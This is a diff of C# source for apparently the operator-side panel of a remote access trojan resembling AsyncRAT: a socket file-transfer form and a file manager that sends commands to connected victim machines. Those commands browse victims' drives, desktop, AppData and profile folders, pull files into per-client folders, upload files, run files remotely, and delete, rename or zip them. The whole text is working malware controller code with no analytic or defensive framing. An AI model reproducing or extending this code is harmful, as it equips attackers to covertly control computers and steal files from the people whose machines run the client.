public FormMain F { get; set; }
internal Clients Client { get; set; }
public FormDownloadFile()
{
InitializeComponent();
}
private void timer1_Tick(object sender, EventArgs e)
{
if (FileSize >= int.MaxValue)
{
timer1.Stop();
MessageBox.Show("Don't support files larger than 2GB.");
Dispose();
}
else if (!IsUpload)
{
labelsize.Text = Methods.BytesToString(FileSize) + " \\ " + Methods.BytesToString(Client.BytesRecevied);
if (Client.BytesRecevied >= FileSize)
{
labelsize.Text = "Downloaded";
labelsize.ForeColor = Color.Green;
timer1.Stop();
}
}
else
{
labelsize.Text = Methods.BytesToString(FileSize) + " \\ " + Methods.BytesToString(BytesSent);
if (BytesSent >= FileSize)
{
labelsize.Text = "Uploaded";
labelsize.ForeColor = Color.Green;
timer1.Stop();
}
}
}
private void SocketDownload_FormClosed(object sender, FormClosedEventArgs e)
{
try
{
Client?.Disconnected();
timer1?.Dispose();
}
catch
{
}
}
public void Send(object obj)
{
lock (Client.SendSync)
{
try
{
IsUpload = true;
byte[] obj2 = (byte[])obj;
byte[] bytes = BitConverter.GetBytes(obj2.Length);
Client.TcpClient.Poll(-1, SelectMode.SelectWrite);
Client.SslClient.Write(bytes, 0, bytes.Length);
using (MemoryStream memoryStream = new MemoryStream(obj2))
{
int num = 0;
memoryStream.Position = 0L;
byte[] array = new byte[50000];
while ((num = memoryStream.Read(array, 0, array.Length)) > 0)
{
Client.TcpClient.Poll(-1, SelectMode.SelectWrite);
Client.SslClient.Write(array, 0, num);
BytesSent += num;
}
}
Program.mainform.BeginInvoke((MethodInvoker)delegate
{
Close();
});
}
catch
{
Client?.Disconnected();
Program.mainform.BeginInvoke((MethodInvoker)delegate
{
labelsize.Text = "Error";
labelsize.ForeColor = Color.Red;
});
}
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormDownloadFile));
this.label1 = new System.Windows.Forms.Label();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.labelsize = new System.Windows.Forms.Label();
this.label3 = new System.Windows.Forms.Label();
this.labelfile = new System.Windows.Forms.Label();
base.SuspendLayout();
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(9, 73);
this.label1.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(76, 16);
this.label1.TabIndex = 0;
this.label1.Text = "Downloaad:";
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.labelsize.AutoSize = true;
this.labelsize.Location = new System.Drawing.Point(80, 73);
this.labelsize.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.labelsize.Name = "labelsize";
this.labelsize.Size = new System.Drawing.Size(16, 16);
this.labelsize.TabIndex = 0;
this.labelsize.Text = "..";
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(9, 31);
this.label3.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(33, 16);
this.label3.TabIndex = 0;
this.label3.Text = "File:";
this.labelfile.AutoSize = true;
this.labelfile.Location = new System.Drawing.Point(80, 31);
this.labelfile.Margin = new System.Windows.Forms.Padding(2, 0, 2, 0);
this.labelfile.Name = "labelfile";
this.labelfile.Size = new System.Drawing.Size(16, 16);
this.labelfile.TabIndex = 0;
this.labelfile.Text = "..";
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(478, 122);
base.Controls.Add(this.labelfile);
base.Controls.Add(this.labelsize);
base.Controls.Add(this.label3);
base.Controls.Add(this.label1);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormDownloadFile.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormDownloadFile.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
base.MaximizeBox = false;
base.MinimizeBox = false;
base.Name = "FormDownloadFile";
this.Text = "Download";
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(SocketDownload_FormClosed);
base.ResumeLayout(false);
base.PerformLayout();
}
}

File diff suppressed because one or more lines are too long

907
Forms/FormFileManager.cs Normal file
View File

@ -0,0 +1,907 @@
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
using DevExpress.Utils;
using DevExpress.XtraBars;
using DevExpress.XtraEditors;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Microsoft.VisualBasic;
using Server.Connection;
using Server.Properties;
namespace Server.Forms;
public class FormFileManager : XtraForm
{
private IContainer components;
public ListView listViewExplorer;
public ImageList imageList1;
public StatusStrip statusStrip1;
public ToolStripStatusLabel toolStripStatusLabel1;
public ToolStripStatusLabel toolStripStatusLabel2;
public ToolStripStatusLabel toolStripStatusLabel3;
public System.Windows.Forms.Timer timer1;
private ColumnHeader columnHeader1;
private ColumnHeader columnHeader2;
private PopupMenu popupMenuFileManager;
private BarButtonItem BackMenu;
private BarButtonItem RefreshMenu;
private BarSubItem barSubItem1;
private BarButtonItem GotoDesktopMenu;
private BarButtonItem GotoAppDataMenu;
private BarButtonItem GotoUserProfileMenu;
private BarButtonItem GotoDriversMenu;
private BarButtonItem DownloadMenu;
private BarButtonItem UploadMenu;
private BarButtonItem ExecuteMenu;
private BarButtonItem RenameMenu;
private BarButtonItem CopyMenu;
private BarButtonItem CutMenu;
private BarButtonItem PasteMenu;
private BarSubItem barSubItem2;
private BarButtonItem InstallZipMenu;
private BarButtonItem ZipFolderMenu;
private BarButtonItem UnzipMenu;
private BarButtonItem MakeNewFolderMenu;
private BarButtonItem OpenClientFolderMenu;
private BarManager barManager1;
private BarDockControl barDockControlTop;
private BarDockControl barDockControlBottom;
private BarDockControl barDockControlLeft;
private BarDockControl barDockControlRight;
private BarButtonItem DeleteMenu;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
public FormMain F { get; set; }
internal Clients Client { get; set; }
public string FullPath { get; set; }
public FormFileManager()
{
InitializeComponent();
}
private void listView1_DoubleClick(object sender, EventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count == 1)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getPath";
msgPack.ForcePathObject("Path").AsString = listViewExplorer.SelectedItems[0].ToolTipText;
listViewExplorer.Enabled = false;
toolStripStatusLabel3.ForeColor = Color.Green;
toolStripStatusLabel3.Text = "Please Wait";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
}
}
private void Timer1_Tick(object sender, EventArgs e)
{
try
{
if (!Client.TcpClient.Connected)
{
Close();
}
}
catch
{
Close();
}
}
private void FormFileManager_FormClosed(object sender, FormClosedEventArgs e)
{
ThreadPool.QueueUserWorkItem(delegate
{
Client?.Disconnected();
});
}
private void listViewExplorer_MouseUp(object sender, MouseEventArgs e)
{
if (e.Button == MouseButtons.Right)
{
popupMenuFileManager.ShowPopup(listViewExplorer.PointToScreen(e.Location));
}
}
private void GotoAppDataMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getPath";
msgPack.ForcePathObject("Path").AsString = "APPDATA";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void BackMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
MsgPack msgPack = new MsgPack();
string text = toolStripStatusLabel1.Text;
if (text.Length <= 3)
{
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getDrivers";
toolStripStatusLabel1.Text = "";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
else
{
text = text.Remove(text.LastIndexOfAny(new char[1] { '\\' }, text.LastIndexOf('\\')));
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getPath";
msgPack.ForcePathObject("Path").AsString = text + "\\";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack2.ForcePathObject("Command").AsString = "getDrivers";
toolStripStatusLabel1.Text = "";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack2.Encode2Bytes());
}
}
private void CopyMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
StringBuilder stringBuilder = new StringBuilder();
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
stringBuilder.Append(selectedItem.ToolTipText + "-=>");
}
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "copyFile";
msgPack.ForcePathObject("File").AsString = stringBuilder.ToString();
msgPack.ForcePathObject("IO").AsString = "copy";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void CutMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
StringBuilder stringBuilder = new StringBuilder();
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
stringBuilder.Append(selectedItem.ToolTipText + "-=>");
}
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "copyFile";
msgPack.ForcePathObject("File").AsString = stringBuilder.ToString();
msgPack.ForcePathObject("IO").AsString = "cut";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void GotoDesktopMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getPath";
msgPack.ForcePathObject("Path").AsString = "DESKTOP";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void DownloadMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID)))
{
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID));
}
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
if (selectedItem.ImageIndex == 0 && selectedItem.ImageIndex == 1 && selectedItem.ImageIndex == 2)
{
break;
}
MsgPack msgPack = new MsgPack();
string dwid = Guid.NewGuid().ToString();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "socketDownload";
msgPack.ForcePathObject("File").AsString = selectedItem.ToolTipText;
msgPack.ForcePathObject("DWID").AsString = dwid;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
BeginInvoke((MethodInvoker)delegate
{
if ((FormDownloadFile)Application.OpenForms["socketDownload:" + dwid] == null)
{
FormDownloadFile formDownloadFile = new FormDownloadFile();
formDownloadFile.Name = "socketDownload:" + dwid;
formDownloadFile.Text = "SocketDownload from " + Client.Ip;
formDownloadFile.F = F;
formDownloadFile.DirPath = FullPath;
formDownloadFile.Show();
}
});
}
}
catch
{
}
}
private void GotoDriversMenu_ItemClick(object sender, ItemClickEventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getDrivers";
toolStripStatusLabel1.Text = "";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void ExecuteMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "execute";
msgPack.ForcePathObject("File").AsString = selectedItem.ToolTipText;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
}
}
private void InstallZipMenu_ItemClick(object sender, ItemClickEventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "installZip";
msgPack.ForcePathObject("exe").SetAsBytes(Resources._7z);
msgPack.ForcePathObject("dll").SetAsBytes(Resources._7z1);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
private void MakeNewFolderMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
string text = Interaction.InputBox("Create Folder", "Name", Path.GetRandomFileName().Replace(".", ""));
if (!string.IsNullOrEmpty(text))
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "createFolder";
msgPack.ForcePathObject("Folder").AsString = Path.Combine(toolStripStatusLabel1.Text, text);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
}
}
private void OpenClientFolderMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (!Directory.Exists(FullPath))
{
Directory.CreateDirectory(FullPath);
}
Process.Start(FullPath);
}
catch
{
}
}
private void PasteMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "pasteFile";
msgPack.ForcePathObject("File").AsString = toolStripStatusLabel1.Text;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void RefreshMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (toolStripStatusLabel1.Text != "")
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getPath";
msgPack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
else
{
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack2.ForcePathObject("Command").AsString = "getDrivers";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack2.Encode2Bytes());
}
}
catch
{
}
}
private void RenameMenu_ItemClick(object sender, ItemClickEventArgs e)
{
if (listViewExplorer.SelectedItems.Count != 1)
{
return;
}
try
{
string text = Interaction.InputBox("Rename File or Folder", "Name", listViewExplorer.SelectedItems[0].Text);
if (!string.IsNullOrEmpty(text))
{
if (listViewExplorer.SelectedItems[0].ImageIndex != 0 && listViewExplorer.SelectedItems[0].ImageIndex != 1 && listViewExplorer.SelectedItems[0].ImageIndex != 2)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "renameFile";
msgPack.ForcePathObject("File").AsString = listViewExplorer.SelectedItems[0].ToolTipText;
msgPack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, text);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
else if (listViewExplorer.SelectedItems[0].ImageIndex == 0)
{
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack2.ForcePathObject("Command").AsString = "renameFolder";
msgPack2.ForcePathObject("Folder").AsString = listViewExplorer.SelectedItems[0].ToolTipText + "\\";
msgPack2.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, text);
ThreadPool.QueueUserWorkItem(Client.Send, msgPack2.Encode2Bytes());
}
}
}
catch
{
}
}
private void UnzipMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "zip";
msgPack.ForcePathObject("Path").AsString = selectedItem.ToolTipText;
msgPack.ForcePathObject("Zip").AsString = "false";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
catch
{
}
}
private void UploadMenu_ItemClick(object sender, ItemClickEventArgs e)
{
if (toolStripStatusLabel1.Text.Length < 3)
{
return;
}
try
{
OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Multiselect = true;
if (openFileDialog.ShowDialog() != DialogResult.OK)
{
return;
}
string[] fileNames = openFileDialog.FileNames;
foreach (string text in fileNames)
{
FormDownloadFile formDownloadFile = (FormDownloadFile)Application.OpenForms["socketDownload:"];
if (formDownloadFile == null)
{
formDownloadFile = new FormDownloadFile
{
Name = "socketUpload:" + Guid.NewGuid().ToString(),
Text = "socketUpload:" + Client.ID,
F = Program.mainform,
Client = Client
};
formDownloadFile.FileSize = new FileInfo(text).Length;
formDownloadFile.labelfile.Text = Path.GetFileName(text);
formDownloadFile.FullFileName = text;
formDownloadFile.label1.Text = "Upload:";
formDownloadFile.ClientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(text);
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "reqUploadFile";
msgPack.ForcePathObject("ID").AsString = formDownloadFile.Name;
formDownloadFile.Show();
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
}
}
catch
{
}
}
private void GotoUserProfileMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "getPath";
msgPack.ForcePathObject("Path").AsString = "USER";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void ZipFolderMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
StringBuilder stringBuilder = new StringBuilder();
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
stringBuilder.Append(selectedItem.ToolTipText + "-=>");
}
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "zip";
msgPack.ForcePathObject("Path").AsString = stringBuilder.ToString();
msgPack.ForcePathObject("Zip").AsString = "true";
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
catch
{
}
}
private void DeleteMenu_ItemClick(object sender, ItemClickEventArgs e)
{
try
{
if (listViewExplorer.SelectedItems.Count <= 0)
{
return;
}
foreach (ListViewItem selectedItem in listViewExplorer.SelectedItems)
{
if (selectedItem.ImageIndex != 0 && selectedItem.ImageIndex != 1 && selectedItem.ImageIndex != 2)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack.ForcePathObject("Command").AsString = "deleteFile";
msgPack.ForcePathObject("File").AsString = selectedItem.ToolTipText;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack.Encode2Bytes());
}
else if (selectedItem.ImageIndex == 0)
{
MsgPack msgPack2 = new MsgPack();
msgPack2.ForcePathObject("Pac_ket").AsString = "fileManager";
msgPack2.ForcePathObject("Command").AsString = "deleteFolder";
msgPack2.ForcePathObject("Folder").AsString = selectedItem.ToolTipText;
ThreadPool.QueueUserWorkItem(Client.Send, msgPack2.Encode2Bytes());
}
}
}
catch
{
}
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.Windows.Forms.ListViewGroup listViewGroup = new System.Windows.Forms.ListViewGroup("Folders", System.Windows.Forms.HorizontalAlignment.Left);
System.Windows.Forms.ListViewGroup listViewGroup2 = new System.Windows.Forms.ListViewGroup("File", System.Windows.Forms.HorizontalAlignment.Left);
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormFileManager));
this.listViewExplorer = new System.Windows.Forms.ListView();
this.columnHeader1 = new System.Windows.Forms.ColumnHeader();
this.columnHeader2 = new System.Windows.Forms.ColumnHeader();
this.imageList1 = new System.Windows.Forms.ImageList(this.components);
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.popupMenuFileManager = new DevExpress.XtraBars.PopupMenu(this.components);
this.BackMenu = new DevExpress.XtraBars.BarButtonItem();
this.RefreshMenu = new DevExpress.XtraBars.BarButtonItem();
this.barSubItem1 = new DevExpress.XtraBars.BarSubItem();
this.GotoDesktopMenu = new DevExpress.XtraBars.BarButtonItem();
this.GotoAppDataMenu = new DevExpress.XtraBars.BarButtonItem();
this.GotoUserProfileMenu = new DevExpress.XtraBars.BarButtonItem();
this.GotoDriversMenu = new DevExpress.XtraBars.BarButtonItem();
this.DownloadMenu = new DevExpress.XtraBars.BarButtonItem();
this.UploadMenu = new DevExpress.XtraBars.BarButtonItem();
this.ExecuteMenu = new DevExpress.XtraBars.BarButtonItem();
this.RenameMenu = new DevExpress.XtraBars.BarButtonItem();
this.CopyMenu = new DevExpress.XtraBars.BarButtonItem();
this.CutMenu = new DevExpress.XtraBars.BarButtonItem();
this.PasteMenu = new DevExpress.XtraBars.BarButtonItem();
this.DeleteMenu = new DevExpress.XtraBars.BarButtonItem();
this.barSubItem2 = new DevExpress.XtraBars.BarSubItem();
this.InstallZipMenu = new DevExpress.XtraBars.BarButtonItem();
this.ZipFolderMenu = new DevExpress.XtraBars.BarButtonItem();
this.UnzipMenu = new DevExpress.XtraBars.BarButtonItem();
this.MakeNewFolderMenu = new DevExpress.XtraBars.BarButtonItem();
this.OpenClientFolderMenu = new DevExpress.XtraBars.BarButtonItem();
this.barManager1 = new DevExpress.XtraBars.BarManager(this.components);
this.barDockControlTop = new DevExpress.XtraBars.BarDockControl();
this.barDockControlBottom = new DevExpress.XtraBars.BarDockControl();
this.barDockControlLeft = new DevExpress.XtraBars.BarDockControl();
this.barDockControlRight = new DevExpress.XtraBars.BarDockControl();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
this.statusStrip1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.popupMenuFileManager).BeginInit();
((System.ComponentModel.ISupportInitialize)this.barManager1).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
base.SuspendLayout();
this.listViewExplorer.AllowColumnReorder = true;
this.listViewExplorer.BackColor = System.Drawing.Color.FromArgb(32, 32, 32);
this.listViewExplorer.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.listViewExplorer.Columns.AddRange(new System.Windows.Forms.ColumnHeader[2] { this.columnHeader1, this.columnHeader2 });
this.listViewExplorer.Dock = System.Windows.Forms.DockStyle.Fill;
this.listViewExplorer.ForeColor = System.Drawing.Color.Gainsboro;
listViewGroup.Header = "Folders";
listViewGroup.Name = "Folders";
listViewGroup2.Header = "File";
listViewGroup2.Name = "File";
this.listViewExplorer.Groups.AddRange(new System.Windows.Forms.ListViewGroup[2] { listViewGroup, listViewGroup2 });
this.listViewExplorer.HideSelection = false;
this.listViewExplorer.LargeImageList = this.imageList1;
this.listViewExplorer.Location = new System.Drawing.Point(0, 0);
this.listViewExplorer.Margin = new System.Windows.Forms.Padding(2);
this.listViewExplorer.Name = "listViewExplorer";
this.listViewExplorer.ShowItemToolTips = true;
this.listViewExplorer.Size = new System.Drawing.Size(820, 379);
this.listViewExplorer.SmallImageList = this.imageList1;
this.listViewExplorer.TabIndex = 0;
this.listViewExplorer.UseCompatibleStateImageBehavior = false;
this.listViewExplorer.View = System.Windows.Forms.View.Tile;
this.listViewExplorer.DoubleClick += new System.EventHandler(listView1_DoubleClick);
this.listViewExplorer.MouseUp += new System.Windows.Forms.MouseEventHandler(listViewExplorer_MouseUp);
this.imageList1.ImageStream = (System.Windows.Forms.ImageListStreamer)resources.GetObject("imageList1.ImageStream");
this.imageList1.TransparentColor = System.Drawing.Color.Transparent;
this.imageList1.Images.SetKeyName(0, "AsyncFolder.ico");
this.imageList1.Images.SetKeyName(1, "AsyncHDDFixed.png");
this.imageList1.Images.SetKeyName(2, "AsyncUSB.png");
this.statusStrip1.AutoSize = false;
this.statusStrip1.BackColor = System.Drawing.Color.FromArgb(30, 30, 30);
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[3] { this.toolStripStatusLabel1, this.toolStripStatusLabel2, this.toolStripStatusLabel3 });
this.statusStrip1.Location = new System.Drawing.Point(0, 410);
this.statusStrip1.Name = "statusStrip1";
this.statusStrip1.Padding = new System.Windows.Forms.Padding(1, 0, 10, 0);
this.statusStrip1.Size = new System.Drawing.Size(822, 26);
this.statusStrip1.SizingGrip = false;
this.statusStrip1.TabIndex = 2;
this.statusStrip1.Text = "statusStrip1";
this.toolStripStatusLabel1.Name = "toolStripStatusLabel1";
this.toolStripStatusLabel1.Size = new System.Drawing.Size(13, 21);
this.toolStripStatusLabel1.Text = "..";
this.toolStripStatusLabel2.Name = "toolStripStatusLabel2";
this.toolStripStatusLabel2.Size = new System.Drawing.Size(13, 21);
this.toolStripStatusLabel2.Text = "..";
this.toolStripStatusLabel3.ForeColor = System.Drawing.Color.Red;
this.toolStripStatusLabel3.Name = "toolStripStatusLabel3";
this.toolStripStatusLabel3.Size = new System.Drawing.Size(13, 21);
this.toolStripStatusLabel3.Text = "..";
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(Timer1_Tick);
this.popupMenuFileManager.LinksPersistInfo.AddRange(new DevExpress.XtraBars.LinkPersistInfo[14]
{
new DevExpress.XtraBars.LinkPersistInfo(this.BackMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.RefreshMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.barSubItem1),
new DevExpress.XtraBars.LinkPersistInfo(this.DownloadMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.UploadMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.ExecuteMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.RenameMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.CopyMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.CutMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.PasteMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.DeleteMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.barSubItem2),
new DevExpress.XtraBars.LinkPersistInfo(this.MakeNewFolderMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.OpenClientFolderMenu)
});
this.popupMenuFileManager.Manager = this.barManager1;
this.popupMenuFileManager.Name = "popupMenuFileManager";
this.BackMenu.Caption = "Back";
this.BackMenu.Id = 0;
this.BackMenu.Name = "BackMenu";
this.BackMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(BackMenu_ItemClick);
this.RefreshMenu.Caption = "Refresh";
this.RefreshMenu.Id = 1;
this.RefreshMenu.Name = "RefreshMenu";
this.RefreshMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(RefreshMenu_ItemClick);
this.barSubItem1.Caption = "Goto";
this.barSubItem1.Id = 2;
this.barSubItem1.LinksPersistInfo.AddRange(new DevExpress.XtraBars.LinkPersistInfo[4]
{
new DevExpress.XtraBars.LinkPersistInfo(this.GotoDesktopMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.GotoAppDataMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.GotoUserProfileMenu),
new DevExpress.XtraBars.LinkPersistInfo(this.GotoDriversMenu)
});
this.barSubItem1.Name = "barSubItem1";
this.GotoDesktopMenu.Caption = "Desktop";
this.GotoDesktopMenu.Id = 13;
this.GotoDesktopMenu.Name = "GotoDesktopMenu";
this.GotoDesktopMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(GotoDesktopMenu_ItemClick);
this.GotoAppDataMenu.Caption = "AppData";
this.GotoAppDataMenu.Id = 17;
this.GotoAppDataMenu.Name = "GotoAppDataMenu";
this.GotoAppDataMenu.ItemClick += new DevExpress.XtraBars.ItemClickEventHandler(GotoAppDataMenu_ItemClick);
this.GotoUserProfileMenu.Caption = "User Profile";
this.GotoUserProfileMenu.Id = 18;
this.GotoUserProfileMenu.Name = "GotoUserProfileMenu";
